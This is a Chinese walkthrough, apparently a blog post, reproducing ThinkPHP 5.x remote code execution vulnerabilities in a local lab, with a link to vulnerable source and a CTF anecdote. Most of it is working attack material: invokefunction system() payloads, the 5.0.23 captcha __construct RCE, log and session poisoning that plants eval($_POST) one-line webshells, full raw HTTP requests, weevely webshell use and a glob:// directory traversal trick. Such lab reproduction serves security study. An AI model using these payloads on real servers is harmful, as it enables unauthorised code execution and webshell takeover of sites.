一.thinkphp5.X系列
1.安装composer
yum -y install composer
安装php拓展
yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y
2.切换目录到/var/www/html
cd /var/www/html
安装thinkphp5
博主把含有命令执行漏洞的thinkphp源码链接附上
链接:https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw
提取码:se0n
把文件解压到当前目录(/var/www/html
)即可
3.浏览器查看是否安装成功
到这里环境就搭建好了(各位看官如果照着前面的步骤没有成功的,麻烦把php运行环境搭建起来)
4.参考官方poc直接执行payload
payload
http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=
/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
可以看到,这里权限是Apache
这里说下,头一天强网杯web有一题就是thinkphp5.x的命令执行漏洞,叫做强网先锋上单。。。
当时觉得还好,随便拉的几个队友,有人做出来了,我去重新做了一遍(关键是互相不认识,谁做的根本不知道)
一开始扫描目录,没发现什么,后面留意到有日志,都是命令执行错误的信息,猜到可能是命令执行,一看cms是thinkphp5
于是就百度翻payload去了,一打,flag有了,flag就藏在根目录下面,hhhhh
言归正传,下面尝试写小马,getshell整个系统
payload附上
http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20 ^%3C?php%[email protected]($_GET[%22dd%22])?^%3E%3Eceshi.php
强网的时候是可以正常写入的,但是无法解析php,可能设置了权限
本地测试的时候发现,根本无法写入小马,如图,估计要先看看源码,找找问题
后面看了下日志,注意到报错,应该是语句被过滤了,小马不够强壮
后面我用weevely重新生成了一个小马,重新载入,连上了
webshell附上
下一步,想办法提权操作,毕竟权限太低了
weevely支持很多的操作,如下图
二.Thinkphp5.0.x(<5.0.24系列)RCE
payload:
Thinkphp5.0.23
POST发包
/index.php?s=captcha
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
freebuf复现的文章缺少method=get参数,有的无法复现
提权略过
三.通过日志方式写入shell
环境不变(tp5.0.23)
1.假设服务器日志目录为/runtime/log/201911/22.log
就可以尝试往日志中写,然后包含日志,getshell
###2.写入
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
这里payloads随便写,只要有完整的可识别的php语句就可以,报错,看起来无事发生,回来看下日志记录
3.日志
最后一行,写入成功,最后来包含日志
4.包含日志(这里必须要知道日志的路径)
Post方式
?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201911/22.log&x=phpinfo();
5.略
四.通过session写入shell
环境(tp5.0.23)
1.找到你靶机session保存的位置,一般在phpinfo可以看到
2.写入shell,通过Cookie写入
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
到靶机上看,已经在靶机session目录下生成了
3.包含Session
此时session中保存的数据为
其中就包含了一句话木马,在知道Session目录的情况下就可以直接getshell
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1
可以看到这里的php代码已经被执行了,所以只显示了双引号前面的数据
4.下一步连接一句话木马试试
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=passthru('ls -la');
5.略
6.当禁用一些函数啥都干不了的时候,可以尝试glob伪协议,遍历数据,结合文件读取函数进行读取文件内容
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=$a=new%20DirectoryIterator(%22glob:///*%22);foreach($a%20as%20$f){echo($f-%3E__toString().%27%20%27);};
参考文章:
https://www.freebuf.com/vuls/194127.html